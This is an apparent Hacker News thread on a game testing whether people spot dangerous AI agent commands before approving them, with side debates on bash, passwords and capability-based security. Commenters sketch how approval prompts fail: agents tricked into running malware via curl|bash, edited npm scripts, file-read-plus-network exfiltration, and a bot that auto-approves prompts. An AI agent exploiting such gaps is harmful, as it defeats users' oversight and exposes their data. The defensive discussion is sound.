Proof that people just do not read what they are seeing on their screens when put too much trust in the agent as it prints the result and they will approve anything on their machine.
So if a basic curl | bash was tweaked to download malware which the agent gets tricked into running the command but it said it was safe, the user would just approve it.
Interesting premise, but there's not much real world meaning here without stats on the percentage of agent-offered commands that are actually dangerous.
If that number is something like 10%, then we have a really big problem. But, if it's .000001%, then it's pretty vanishing. At some point in between we cross a threshold that puts the risk below many other risks that we routinely take (e.g. trusting npm dependency graphs).
Of course, if it's really that low a percentage, then the entire model of "supervising" via human approval really is fundamentally flawed.
I remember when this game was posted here, and there was a lot of discussion at the time that some of the prompts were misleading about whether or not they were risky, some people were debating about how some of the prompts flagged as bad weren’t bad, and others flagged as not bad were. This is a fundamental flaw in the test, that makes the analysis of results meaningless.
Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it.
I think minority do. Imagine, you have been vibe-coding this project for a while and it works kind of fine but you just have to fix a few more bugs and you get something like `node /tmp/claude-1000/-home-user-source-github-user-hn/27b740b1-9a45-47f3-ab99-61e5e3cf779a/scratchpad/hidden-smoke.mjs; echo "exit=$?"`. (I took it from my own agent right now and I don't have any idea what it's doing. Thankfully, it's sandboxed so I don't care _that much_ right now). Is it bad? You can probably go into that mjs file and see what's in there, but so far it's been fine every time, why would it be different this time? Approve!
We will see many disastrous bugs and hacks in the coming years with the way most developers are coding right now.
If you take time to understand _everything_ that an agent is asking of you, then nearly all those advertised productivity gains would be wiped out.
[0] https://mywiki.wooledge.org/BashPitfalls
Edit:
[1] Fuck it, here's the lazy search: https://github.com/search?q=%22Bash(find%20*)%22&type=code
`find` isn't a Bash built-in and has basically nothing to do with Bash as a language. Not knowing `find` is a basic Unix literacy issue, not a Bash language footgun.
You're right that Bash is full of footguns, especially around quoting. And you're also right that that issue is even worse— and I think it's somewhat representative. Some of the cited Bash footguns are also about general lack of familiarity with CLI conventions and stringly typed data generally, like the dirname quoting issue.
over 30 years ago bash was magic for us oldies :-D
> It is a terrible language
It's not. It only becomes terrible when you misuse for it's original purpose.
Microsoft Excel isn't terrible, but the way it gets used makes it terrible.
I love bash. I write a lot of bash too. It is a extremely powerful and useful language. But that also doesn't mean it is a good language.
There are many non-intuitive things, hence that pitfalls page I linked. You can't just deflect and say that the user is "holding it wrong". If it is difficult and unintuitive in how to "hold" it correctly, that's a design problem, not a user problem.
Despite bash being a terrible language, I still use it on a daily basis because it is useful. But don't conflate these things.
No, it is terrible. The entire reason things like Fish annd PowerShell exist is because bash (and POSIX sh language broadly) are garbage even for their original purpose. Maybe it had to be that way because we didn’t know any better or needed to preserve historical semantics. But that doesn’t make it good.
Word splitting. Pipefail. Quoting hell. Scoping. On-error-resume-next by default. Returning values implemented like errno. Perlish cryptic tenseness around basic string manipulation/arrays. Magic global variables that don’t behave like other variables. Argument unpacking and shift.
These are bad language features, and people trip over them constantly. Even when they’re only using bash as an interactive shell or a <10 line snippet runner.
And what would you recommend for a system automation script 20 years ago, when I was 13 and discovered Linux for the first time?
Perl comes close and it's one of my favourite languages. Even back then it was archaic.
Maybe we can agree on Tcl.
> And what would you recommend for a system automation script 20 years ago, when I was 13 and discovered Linux for the first time?
Like I said:
> Maybe it had to be that way because we didn’t know any better … But that doesn’t make it good.
I’ve gotten kind of pointlessly good at bash tricks—the weird advanced shit that Wooledge warns about. Same for Perl5: 6 years on a multimillion line healthcare monolith wishing for a real object system, a single scoping model instead of three, and people to stop implementing rickety DSLs because the language was just flexible enough to let them but not flexible enough to make the tooling or DX any good.
All of which is to say: I get it. Those languages were some of the first I learned, and hold a charming sort of nostalgia for me as well. They are still objectively bad. We have vastly better tools now in those niches.
> We have vastly better tools now in those niches.
But do we? I'll beg to differ.
Python explodes in to LoC when you try to attempt to work with the OS. You need to source modules that turn the application in to bloat. 98% of def's you don't require.
If you need a multi-purpose tool, or a model than sure. For the simple automation of running a rsync or ZFS snapshot schedule to copy to & from a NAS in a guaranteed timely manner in cron, it works just fine. The overhead of using languages compared to the previous is partly why I keep using bash or Tcl.
That's not really what people mean. Your example isn't accurate because you just ran bash two different ways.
subprocess.run() uses Popen and defaults shell=False. There is no shell process involved. As the other user already pointed out.
Huh? The Python example does not use Bash or the shell in any way.
For anything more complex than linear shell scripting, I prefer ruby --disable-gems these days. As you say, Python is horrible for composing and executing shell commands, but Ruby's FileUtils#sh (combined with %W{} array literals, %x{} output capturing and regular #{} string interpolation) provides a pretty low-impedance interface.
FileUtils#sh doesn't exist:
> > We have vastly better tools now in those niches.
> But do we? I'll beg to differ.
We do. I mentioned Fish and PowerShell for interactive scripting. Those definitely handle your rsync/zsh snapshot case. If you're OK installing software, xonsh and nushell seem interesting; I briefly played with the latter and it seemed really nice. As usual, bash/zsh/dash win on ubiquity, but ubiquity and quality are utterly disconnected. For heavier languages/Perl-alikes, Lua's not a bad contender here and tends to be widely installed. Ruby, too, is a near-ubiquitous improvement on Bash and Perl, but it emulates the latter more than my personal preference, and is inferior to Python 3 when it comes to uniformity of behavior across versions and included batteries. I think tcl's suboptimal here because it's no longer part of a lot of Linux distros, but it's fine.
Nitty aside: for cron jobs specifically, I find that it's rarely worthwhile to deal with a multi-line shell script: either I can run a single shell-wrapped command directly with output-file redirection, or I go all the way to a language with proper error stacktraces (since about 80% of my simple-cron-job-debugging work tends to be of the "figure out how far it made it before silently crashing" variety). And that's again because of the awful shell default of on-error-resume-next, one of many trash behaviors of bash/sh.
And yeah, the shell is a very easy way to set up cron output capturing; wish it didn't come with all the other warts. If something like "tee" or "xargs" had a single-line invocation form which did everything that "bash -eu[x]c 'rsync <whatever>; echo done' >output.log 2>err.log" does, I'd switch to that in a heartbeat. If you want something outlandish like, I dunno, timestamps on those log lines, well ... enjoy learning about FD substitution or double-escaping awk in a pipe or something (after you shake off the hangover from realizing that you'll have to double-wrap shell invocations because cron only invokes POSIX sh). Yuck.
Hell, so long as I'm saying contentious things that shouldn't be, ideally you'd ditch the cron and use the ubiquitous tool that was explicitly built to work around those exact shortcomings of the shell and cron itself: a systemd timer.
> Python explodes in to LoC when you try to attempt to work with the OS.
Python's ubiquitous and popular, and some extra LoC/uniform copy-paste imports are a trade I and many people gladly make in exchange to not having to worry about rare, niche issues like "what keysmash do I type to get the length of an array" or "what arguments does this function take" or "am I getting the exit code of the last thing that ran, or the intermediate 'grep' I ran on its output". If that trade's distasteful, you can take on a third-party library and get terseness back using something like plumbum. But really, most bash/perl vs python arguments that revolve around line count and verbosity (or whitespace) aren't arguing about whether the tool is capable, they're arguing about aesthetics. Sure, the car's an ugly color, but it drives better.
> You need to source modules that turn the application in to bloat. 98% of def's you don't require.
I don't know what you mean by this. You can "from sys import argv"; you shouldn't "from sys import *". And you're rarely "paying" much to import/compile all the other symbols in the module; most of the modules you'd need for basic shell scripting are either part of the interpreter core or already imported at Python startup anyway. If you don't like even that tiny overhead, well, I have bad news for you about what Perl does when you 'use strict', or what the OS does when Bash makes you launch a subprocess of tail/grep/cat/whatever just to parse a command's output.
Edits: posted the first half early by mistake then added discussion of cron/import cost.
I'll agree to disagree; on this. It's moot at this point. I do however respect your view. Zfs, rSync were just basic examples but where you need to schedule OS commands, zfs snapshots, sync or other system utilities Bash will always be my go to wrapper for it's native-ness to the shell. Maybe my head is more warped for the archaic type of language as I do enjoy Perl however using both Bash and Python is no crime. One orchestrates, one executes.
I don't use Linux and I come from the Unix side of things, FreeBSD is my daily driver, server OS of choice and my father was a Telecoms/unix engineer, maybe that's why. Myself I'm not keen on Python and would personally use something more rough, like ruby if bash was to exit though the door.
I've encountered work systems where backups were performed worked, based on a bash script and everything else on the system was bricked. Nothing would work apart from a shell and a bash script.
I don't disagree, the popularity of Python does make ease. The ecosystem is verse and if someone leaves, someone can pickup where they left up pretty quickly. I just had to shred my (Tcl) PXE server project this week that I created for the VisualFX company gig I'm currently working at.
Now that they are wanting it being Python based, it's soul destroying to get it thrown back in the face when it's been powering company infrastructure for a year only for a LLM to regurgitate what you've worked on for a hard year. It worked flawlessly only for it to produce a Python equivalent in seconds. Python interacting with tFTP, PXE, HTTP , self-generation of Kickstart files, dhcp .. it's a mess and that's what I mean in LoC. 400 lines of Tcl and it works a one click button button.
Maybe I am bias against python because all projects are now within the: "It must be python!" attitude but maybe back in the 80's it was "It must be perl!". I don't know, I only picked up the tail-end of the camel being only 37. Python feels like a constant washed used towel passed from engineer to engineer.
My feel is that a company should be using multiple languages but that costs money. My own project runs on NaviServer, Tcl and Crystal and it glues well but Tcl always was a glue language.
Each to their own, Python isn't for me, it has it's own merits and happy to agree with but I'm not going to praise it to as a shell based language. Python can be a ungodly mess, which I find when you start to incorporate it with relic system services. The debt that LLM's are piling on it isn't healthy.
That's all fair.
I don't think we should abolish sh or anything; it's one of the only truly ubiquitous tools. And folks should know it, the same way they should know nano or ed or whatnot in case they ever get on a system without vim. I just wish it weren't the first resort for so many tasks, you know?
Nitty:
> I've encountered work systems where backups were performed work, based on a bash script and everything else on the system was bricked
I've had better luck with Python in those cases. Even when the shell works, some of the programs my shell scripts call out to are often damaged by whatever broke the system. Python's capabilities are more or less present in memory after "import" and rely on fewer external programs in most cases.
We're similarly aged; I think you might be lucky to have had a lot of fun with tools like Perl early in your career. I got dumped into something of a shell/C/Perl salt mine and had to develop deep expertise in things that I saw more mis-use of than benefit from, so when I discovered alternatives they felt a lot more compelling. Different strokes for different folks I guess. At least we can be thankful that Perl and Python got popular for automation before JavaScript did.
Thanks for the thoughtful replies.
For me, step 1 of trying to make Claude even vaguely usable is putting in a hook that just tells it 'FUCK YOU, STOP USING PIPES' whenever it tries to chain multiple bash commands.
Keep in mind that this likely destroys context and makes your costs go up considerably.
An agent often wants pipes so that it can `show_lots_of_logs | sed ...` and only see the part related to whatever error it's currently trying to debug. Without pipes, it has to take that entire log into the context. An agent without pipes is like a human without the ability to scroll.
I guess ideally you'd want to force it to pipe each step back into the agent/IDE for display (and optionally wait for approval) rather than shoving it into the context. And with some sort of heuristic to skip commands that are piped into sed and similar.
or use just use actual files instead of pipes with a permissions dialogue gate on write. That would work already in Claude I think, and with IDE integration it would show each step as it went.
Of course buffering every step of a pipeline will have its own side-effects.
If only the piping wasn't execessively cutting too.. `cat | head -10` -> `cat | head -20` -> `cat | head -40` yeah.. I think at some point we need to start sanitizing our tool outputs so that this just isn't necessary at all, long term fixing the tools (ie: gradle outputs like 500 lines of logs for a ... build succeeded), maybe short term a small model in front would be better than all this cut loop fail. One can wish.
My favorite is when Claude runs a slow process piped to tail only the last few lines, and then the result isn't what it expected, so it needs to rerun the whole thing.
Agents need a way to discard useless data out of context once it's served its purpose, instead of forcing them to preemptively tail everything.
This was so bad for me I actually added a tool hook that `time`s the tool calls and adds it as [Execution took: Xm, Ys] at the end of every tool call, it helps a little (claude in particular after two executions tends to switch strategy entirely) but in general the agents still insist on cut/tailing the output rather than just dumping it to a file for example!
Now that I think about it, maybe I can have a tool hook that detects those cut/tail exessive piping and just strips them and dumps the full output to a temp file..
Could it just set up to do like Command | tee -a activity.log | tail -5
So the context only gets a few lines but everything is still logged?
My favorite is Claude finding .git/index.lock, asking to remove it, finding out it no longer exists, and then hitting a lock again that it itself created. Poor little robot, stop shooting yourself in the foot.
stealing this
this. the problem with HitL is that there are so many decisions to make that decision fatigue is inevitable. Beyond a certain number of approvals most people are going to switch to an approval process that goes from "carefully consider the need and risk of each command" to "approve unless there's a blatant sudo rm -rf / because the last several hundred times i approved without reading it was fine"
> Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it.
Are there people out there not experiencing time pressure right now? In which industry? Feel like we’re at an all-time high for pressure on white collar workers to deliver more and faster.
That's a fair point. There were two main prompts that were controversial; cat .zshrc being benign for those who use separate env files, and npm run that's mostly benign. For npm run I added the evil payload in the history log shortly after the issue was raised. I try to cover both of the previous points in the article and they were some of the most interesting learnings for me
As for the stats, I compared later runs against the first ones and for the overall miss rate they were consistent (even worse for the later ones that didn't come from HN peak)
Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.
I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script.
Wanna chat with my friend, who coded a side-bot for his OpenClaw installation just to auto-approve prompts?
The most fundamental flaw in the test is that we know we're taking a test.
How many devs take this adversarial a stance to their work?
It doesn't matter if the results are bad even when the devs know that it's a test.
It’s also a game and I’m not a scientific survey…
If anything, maybe the disagreement about what is or isn’t safe says a lot to begin with.
In my most recent job I was definitely under that sort of timer.
The point is more that it's non-trivial and should not be treated as easily accomplished.
Also a lot of them may or may not be safe depending on additional context that you don't have in the test.
Isn't that kinda the point though?
A couple of months ago I shared the AI agent permission game here on HN. After adding in stats it got a little over 40k plays and 409k decisions since then.
It's just a game, but I found the stats still interesting that I wanted to share back. Even with the warning up front, 1 in 3 threats were missed, and the history log above npm run commands seems to be typically ignored.
I also incorporated the feedback and insights from the previous HN thread, dns_snek's point about npm run in particular. Appreciate everyone who played and shared feedback!
In light of this game, Do you believe Human-in-the-loop should be the standard going forward? I appreciate you outlining some other techniques being used, but these seem focused on reducing human fatigue so the human can assess each permission request better, as opposed to autonomy and security. Or do you think the solution lies in the individual to be more responsible, like this is a skill we should be honing?
I think there are too many problems with HITL that even a simple experiment like this game shows. The fatigue causes people to jump to complete bypasses instead, and we need to work more on raising the general awareness of the new types of threats (which is also evolving rapidly). We can't point to it as a valid solution. A way could be to make sandboxing and context/permission isolation easier from the tooling and only give these wide ranged accesses once these are in place than to consider HITL an acceptable alternative
It seems pretty obvious that the solution is auto mode (running a classifier on each action) + sandboxing
The goal of human-in-the-loop is to have someone liable for potential damages, rather than to prevent disasters.
How good at the game is the auto-mode classifier?
Sandboxes laregely solve this. The claude/codex built in sandboxes with prompting setup is not good enough. On Mac you now have Apple Container which is a lightweight Linux VM. You still need to block network access.
For defense in depth, I also run it as a separate user. If you aren't using a VM/container you should defintitely do this. On Mac you can login as an LLM user (you need to create the user first), then switch back to your user and run as the LLM user from a terminal:
Don't let that user exfiltrate your data. I forked a project (mostly to block network access) that makes running in Apple Container/Docker more convenient and am working on further improvements: https://github.com/gregwebs/claude-contained/I agree. I am using Eclipse Enclave with great success to sandbox my agents https://github.com/eclipse-enclave/enclave
The “click yes the proceed” was never a serious security mechanism.
It’s simply a CYA click-thru by the model vendors so their lawyers can say “well you approved it this is on you” when AI does something stupid.
This game, like just about every game, has zero consequences for failure. This is like saying "Humans were involved in fatal accidents 50% of the time when playing my custom F1 racing simulator". There were no stakes and there was an artificial time constraint. Deriving any sort of takeaway from this data is entirely useless.
Actually, your example there would be absolutely true. Getting in someone's enthusiast but mid-range F1 simulator toy with all the game assists turned off would both: imply a near fatal accident happening over 50% of the time AND it would be accurate too.
Consider:
FIA President Mohammed Ben Sulayem, a former Rally driver at the top level, crashed an F1 car within 100m of trying to go fast in it
And
Mr Beast, a youtuber with zero motorsports experience, crashed a Formula E car on a demonstration lap as part of the pre race F1 festivities.
If a regular person with a drivers license and no familiarity attempted to play even a simulator video game, the results are in fact similar to what happens in the real world.
Getting behind the wheel of an F1 car on a track involves lots of proving time that you can actually handle such a vehicle. Meanwhile anyone with a credit card can grant an AI system to impersonate their access as a starting point.
There are places/services where you can drive a (few years old, and slightly detuned, but not THAT much) F1 car with little more than a (rather high limit) credit card.
https://www.lrs-formula.com/en/ for instance.
I haven't said as much in any of the projects I maintain, but I've set a very high bar for even entertaining AI PRs to those projects. So far I've only accepted ones that are nearly indistinguishable from humans. Typically the rest flame out if I ask for any material changes to the code as submitted.
The problem that's going to push me to making an official opinion are low-effort AI PRs. Typically in any backlog there are a couple of issues that are really only a couple lines of code if done correctly. The problem isn't writing the code. In fact it's less energy for me to just write the code than to deal with the ping-pong on discussing the code as submitted, and I've done that in a couple cases to justify just closing the PR and not waste my time anymore.
It was never the 2 lines of code. It's the missing tests and the documentation and the release management of the breaking change that the 2 lines represent for the 2% of your userbase who will actually notice. That's why it wasn't just done instead of bothering to write it up in the backlog.
So filing the 1-2 liner is just going to piss me off, not engender me to having you on the committers roster. And AI makes that even lower effort so it's happening much more often. Sometimes 2 different people at the same time.
> It was never the 2 lines of code. It's the
Adding to that, there's this negative-space of changes that aren't there because some human briefly thought about them and then decided they were a bad idea.
Even if my human co-workers don't document All those roads not taken, there's a certain amount of trust I have that they would have thought of it in their process.
It's kinda funny there is still software coming out whose security model is "constantly ask the user for permission, and hope they never make a mistake".
It's been tried so many times before, and it never worked.
I joined Oracle in 2012, and I myself complained that the user experience was horrible: get an Oracle DB installed was a nightmare, starting with so many questions. I heard complaints from other users about it requiring, during installation, that an admin password must be set.
I myself had preferred to use MySQL because it was so simple and easy to get started and using it.
Until I learned how many MySQL databases were configured without user/password and many instances were reachable over the internet.
Then, eventually products started to move towards "don't even ask the user to set a password, otherwise they will set a stupid password" and just generate the password during installation. This made the user think more before saving that password or changing the password to something less stupid. But better than all that, liability was no longer with the software maker.
Maybe it's distro specific but I'm fairly sure mysql by default installed with skip networking around 2012, and with bind-address set to localhost since then. Also the root user is only configured from local by default but I'm not sure if that was true 14 years ago.
If the defaults are more secure than your examples, it's not fair to blame the database or the defaults.
And personally I hate it when software forces security requirements on me. Maybe I don't need an admin password. It's one reason I gave up on selfhosted gitlab - there was no option to reduce password complexity for my users, and those users were only connecting from the local network. The other reason being that it spammed 100GB of logs in a month and was using 11GB of RAM before I'd even gotten around to setting up the first repo.
MySQL installed with skip-networking was very common, but as soon as you need to access it over the network (e.g. when you move from one box with MySQL and PHP to one for each) then you have to enable networking and everything falls apart.
Also, the number of times in my career that I've googled a problem and seen some forum post saying "Oh, just run chmod -R 777 /var/www/wordpress/uploads/ and it'll fix that" "Great it worked thanks!" tells me that it's the blind leading the blind out there and I'm sure there's tons of forum posts telling people how to disable authentication on their MySQL and disable iptables on their server so that their PHP app can connect to the DB without a password.
It's surprisingly hard to convince supposedly trained tech professionals that `chmod -R 777 /path/to/whadever` is not a good habit.
Or curl https://hopefullyatleasthttps.com | sudo bash
> selfhosted gitlab - there was no option to reduce password complexity for my users
Gitlab's default requirements aren't that intense, but you can make them more stringent if you want.
https://docs.gitlab.com/user/profile/user_passwords/#passwor...
I guess your goal was to allow users to have 4 character passwords, i.e. "love." which afaik you can't do.
They must have changed that or I was completely off base because I was just trying to remove special characters and drop it from 12 (I think) and I saw them close a feature request saying they didn't think they should support it. It's possible I misunderstood and the feature request was as you say
Most software matures to the point that sane defaults get set. In the early days, one could be forgiven for making MVP as the security and attack vectors were still growing. Now that attacks have matured, and new software that is released without mitigation of these mature risks is just dumb and lazy and deserve no forgiveness for being released that way.
You should use a user directory (AD) and then use single sign on (SSO) or or the like. It feels kinda stupid at first, but when you have many users and many apps the AD will make life easier and with SSO users can sign in with one click of a button.
I guess I'm confused; why would you, as an admin, want to allow your users to use less secure passwords? I get that your argument is that all traffic is local and so complex passwords are unnecessary (debatable, I would hold that a strong password policy would still be desirable for defense-in-depth, depending on the network and risk profile), but that doesn't make them undesirable.
We were in the middle of setting everything up company wise (for just two of us), didn't have the password manager yet and I was dictating the password to them. It might be a stupid use case, I agree, but not unreasonable. I didn't say strong passwords are undesirable I said forcing the admin of self hosted software to have to use strong passwords with not even a --yes-im-stupid flag is undesirable
Maybe that is why so many things live in Excel instead of a proper database. Security at the expense of convenience does come at the expense of security, after all.
Not sure why passwords still exist conceptually. I was hoping we'd move past this annoyance, but instead security has become even more annoying. And all that security with two factor hoops to jump through only for someone to steal your session cookie.
What would passwords move past too? A device people lose? Some specifications everyone argues about and implements differently. Just look at SAML and everyone using slightly different terminology.
Security is more annoying because the attacks are better than ever.
Certificates seemed promising there for a while. I also don't mind hardware keys/cards, but when you have to first enter your password, then your pin for your hardware key and then touch the hardware key it gets ridiculous again.
Not a fan of biometrics, though, as that cannot be changed trivially.
Ideally, authentication should happen like entering a building. You do that _once_ at the beginning of a day by swiping your card or unlocking a door and then it is done and you are never asked to do it again for the rest of the day.
I don't have to enter a password and a pin for my key to open the door to either my office or my home. Sure, it might be trivial for an attacker to enter the building using different means, but that hasn't prompted us to play security theater around every building entrance.
>but that hasn't prompted us to play security theater around every building entrance
Um, then you're just not going into any secured buildings. There are places where you must always have a badge showing. Or, you must always be with another known member of staff keeping an eye on you. Often these places have locks on every door with access levels.
It really just sounds like you're a bit less experienced with security in this case.
Notice how none of that is a cumbersome user experience. I put a badge on my person and maybe have someone walk beside me and that's it. I notably do not have to unlock the same door over and over again by first entering a password and then entering a pin and then touching my hardware key. Again and again,.. and again.
As for personal experience, the most secure facility I entered so far was a data center. It was not annoying to get in and out of that either, despite a whole lot of security.
I got bit by this with redis a couple years ago. The default install on my VPS's distro had it open to the world by default, and it even configured UFW for me (gee thanks!)
No password, owned within seconds of install. :/
I think it's partially for responsibility reasons. Your employee approved the bash call? not our fault then!
Or in one of my favorite coinages: "Moral Crumple Zones". "Just as the crumple zone in a car is designed to absorb the force of impact in a crash, the human in a highly complex and automated system may become simply a component—accidentally or intentionally—that bears the brunt of the moral and legal responsibilities when the overall system malfunctions." See https://ferd.ca/notes/paper-moral-crumple-zones.html
Related: "Accountability Sink", a system which is designed to channel responsibility away from the people making the decisions, e.g. a powerless "complaints department".
Yep and the car wasn't self-driving at the moment it crashed.
...because the self-driving feature turned itself off after detecting the crash in the fractions of a millisecond before the crash was recorded
In a rare bit of still-sane news, the US National Highway and Safety Administration staff aren't dumb: Their policy is to consider whether any automation was active in 30 seconds before the crash.
https://www.nhtsa.gov/laws-regulations/standing-general-orde...
the whole concept of having cars with that are almost capable of self-driving is utterly insane, the very least you'd need special training. We are not equipped to deal with something that works brilliantly most of the times but might kill you for no foreseeable reason.
Yeah, that's definitely the frustrating zeitgeist for me these days, which extends to LLMs.
I'd also emphasize that it's not just error rate, but the shape/distribution of errors, and our (in)ability to build control systems around them.
To illustrate, imagine if someone unveiled a car which was unambiguously safer in every statistical measure... buuuut some of its unsafety came from jumping the curb to chase and kill pedestrians, under circumstances we can't predict for reasons we can't diagnose.
Even pilots are getting this automation-complacency now. A plane crashed because the military jammed GPS and the pilot wasn't used to any backup procedures even though 30 years ago they were the only procedures.
How many million dollars do you think will reverse this policy?
"Uh oh, this is a problem. Welp, I'm outta here, good luck."
If a company advertised an LLM as perfectly safe and then it caused some damage, there would be a case against the company.
Have you used LLM tooling? It comes with warnings and explains that the user accepts the risk. Different levels of warning are supplied for the different levels of autonomy you can enable. The user has to understand the risk as they enable it.
This is not a new concept and it’s not an idea the LLM companies invented. It shouldn’t be surprising to anyone.
It's not new to LLM companies, but it does seem like they're leaning away from the standard "Hey, don't blame us if this doesn't work" and are moving into "It's now your fault any time our software fucks something up" which feels new.
> This is not a new concept and it’s not an idea the LLM companies invented.
I don't recall any prior computer software working so badly that it needed a disclaimer like "Claude is AI and can make mistakes" on its front page. Let alone one so costly.
You must not use any open source software, because much of it comes with a whole paragraph of ”IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY“
That would be fine if Claude was open source and/or unpaid
If you read the fine print of most commercial software you'll see some language to a similar effect. When's the last time Microsoft got sued due to an outage caused by a bug in Windows?
An outage is not the same thing. A similar thing would be if Outlook 365 started sending emails on your behalf or changing around words in them, or if SAP / Quickbooks said: "No guarantee that the numbers you type in match the results of the annual statement we produce", or if Tesla was like "You should absolutely not use our cars for driving anywhere".
If you bring language like this into more traditional fields, it feels absolutely bonkers.
edit: some lawsuits:
* Air Canada forced to honour chatbot offer - https://lsj.com.au/articles/air-canada-forced-to-honour-chat...
* Tesla pays $329M for defective autopilot - https://www.anzalonelaw.com/jury-finds-tesla-autopilot-defec...
* but then again: non-performance & damages disclaimer upheld in the "Diedrich" lawsuit https://www.lexology.com/library/detail.aspx?g=8f61a973-f05c...
That's actually meaningless in Europe under the Cyber Resiliency Act by the way. They are liable even if they say they aren't.
Yes, the fine print.
Only this so-called "AI" needs it full size on the front page.
I would consider that more honest than more of a problem.
This sentence only exists to offset law (or case law) have gave damage rights to anyone.
Every piece of software comes with giant disclaimers like this.
You’ve just been clicking past them.
This really isn’t new.
It's really not designed as much of a security model as a liability model. When the AI isn't responsible for the decisions, a whole category of liability goes away.
Constantly nagging the user is a liability model that also works well as a dark pattern for cases where you want the user to be less secure.
I agree it's funny and won't really work on any kind of extended timeline. I mean Claude Code already added Auto-mode as a perfect example of this. But that said, I think it actually kind of makes sense in a transitional phase the power vs safety tradeoffs different users want to make varies so incredibly wildly that one product can't contain it all.
What I think will happen is that as model capabilities plateau (I'm not an accelerationist) the harnesses and products around them will start to specialize and they'll have different security models based on the product needs for those particular use cases.
For now, asking user to click a bunch of approvals, and occasionally making a mistake is a reasonable way to cover their asses until they see how bad security outcomes actually are in practice.
What would a serious security model for an agent even look like?
I'm sure I've already got a dozen people reaching for the reply button, but slow down there, cowboy. I don't think it's even remotely as easy to define as people think. We have a reasonable concept of how to lock them down really tightly, no question, and I expect that most of the answers in the "leap to mind" category match that.
But let's say we'd like them to continue functioning the way they do today. I want my agent to be able to hit the web. I want my agent to be able to read out of its assigned directory sometimes. I want it to be able to hit external resources through MCP servers that have no pragmatic way to know what's going on. And probably most importantly of all, I want my AI to be able to grab from three distinct sources, each of which may be nominally safe on its own, and combine things in a way that may make each of those nominally safe things become unsafe. For example, any ability to read a local file and make a remote request becomes a potential exfiltration mechanism, especially when you remember all the sidechannel ways communication can occur.
I agree that shifting everything on to the user is essentially non-functional. But whereas I feel like I have a reasonable answer to a lot of other security-related problems, it isn't even clear to me what the definition of a secure agent is.
There's an effect I need to put a name on someday, where you can get 10 people in a room to agree to a certain series of words, and they will all leave the meeting thinking they agree, but in fact there is no agreement at all because they all have a different definition of the words that were used. In this case, everyone here is going to go "Oh, yes, certainly, AI agents should be secured." But if you sit down with 10 of us to really do the work of defining exactly what that is, you're going to get 10 different answers. There will be overlap, certainly, but when you get down to the nitty-gritty questions like "OK, the user has explicitly asked the agent to do X by accessing Y and the agent has done so and determined that they need to do Z, which the user clicked "allow all" for, and now the agent has decided that it wants to do T, is T fully covered under that "allow all" or not?" you're not going to get anything like universal agreement across the huge range of Xs, Ys, Zs and Ts that could happen and are relevant... and that's still just one question! It's not the totality of what constitutes a "secure agent".
Defining what a "secure agent" even is is really hard because when it comes to agents, the things that fill in the variables are as arbitrarily complicated as human actions. I haven't fully worked this out but it might be reasonable to say that "agent security" is in reality Turing complete, what with the way they so often throw out fully-fledged programs that you have to approve or reject permissions for.
I suppose there would have to be a capability based model in conjunction with a user oversight model and a time model.
https://en.wikipedia.org/wiki/Capability-based_security
Thus some agents with higher capabilities can only be run with user oversight at the same time.
Some agents can not be run during some part of the day - for example these agents can not run within two hours of office closing time, and cannot run on weekends.
Maybe also the idea of agents writing code - throwing "out fully-fledged programs that you have to approve or reject permissions for."
Would work better with a capabilities based model where you choose capabilities for the program before hand, meaning the capabilities are not written by agent itself, you read through the code, some of it looks hairy but everything is fine, but oh no dumb human missed the part where agent writes to system32! But luckily enough the program you were expecting actually needed no write capabilities and thus when it tries to go past its assigned capabilities that part of the program fails and the exception is registered.
Googling it seems like lots of people have thought this (at least where Capability based security is concerned), which seems reasonable to me as it also seems pretty self-evident it must be this way. Have not really seen anything about time based controls but then that is probably because I'm not devoting a lot of effort as I am just doing a bit of procrastination to build up the energy to finish something off.
A language that revives capabilities, brings them up-to-date, and works in the modern environment is my #1 request from the programming language community right now. I don't need another language with sum types and higher-order functions and a functional focus. I need a language with capabilities. That language may have the other goodies as well, sure, no problem, but we all need capabilities.
I've done some stabby stabs at a design for it, using an AI as the rubber duck. My initial research indicates that the field of "static language that natively supports capabilities" is surprisingly uncovered and there may be a rich field there. E, the closest match, was tied at the hip to Java, which has some advantages but also comes with disadvantages for languages that are trying to do something as exotic as this. Other existing work was on dynamic languages, and hardly rose to the level of "practical for any use" let alone something that could solve our supply chain issues.
My issue is primarily that the reward for successfully designing a language and creating a community around it is that you're in charge of a language community... and, uh, my personality is not suited for that, that sounds more like something I'd pay to avoid then something I'd spend months and years of hard work to attain.
(My advice to anyone doing this is to spend some time with the AI researchers to find the existing work on the topic, not to just sit down and sketch out your initial ideas and run with them. Learn from the past. Expect this to be weeks and probably months of just thinking and noodling before you get to a design. Also, don't try to hook deeply to an existing language, as tempting as it is. This is way too large an impedance mismatch with existing languages. Any external code has to be treated like a nuclear bomb anyhow.)
Been working on something like that for years: https://www.firefly-lang.org/
if firefly has no nulls, how do you indicate that a value is unset?
In Firefly (as in Rust) you can define fields as Optional, so you can do Option[String]; that lets you say "this variable is a String but it might not be here". That lets you then check to see if something is set, rather than checking to see if it's null.
In Rust an Option is a separate thing that you need to disambiguate to use. For example:
Likewise in Rust, you can't have a null pointer, but you can have an Optional pointer, which is either a pointer to something or is not anything.Firefly seems to have a similar case structure, though the first example I could find is in the Exceptions section: https://www.firefly-lang.org/reference/exceptions
oh duh! sorry, morning brain didn't think things through -- i do love Option types!
What is a capability in terms of programming language design? It sounds more like the sort of thing that would belong at the standard library level, where builtin APIs are guarded by flags.
Deno has something vaguely built in with permissions flags, and old school Blackberry (at least in the J2ME days) had permissions settings for almost everything that an app could do, but again, those are all external to the language design itself.
If you want a fun read that might educate via entertaining I would read Satan Comes to Dinner by Douglas Crockford https://www.crockford.com/ec/dining.html
I wrote a bunch more, but I have a habit to verbosity when capabilities come in which I should attempt to combat, and have deleted it. Crockford says these things better than I can anyhow.
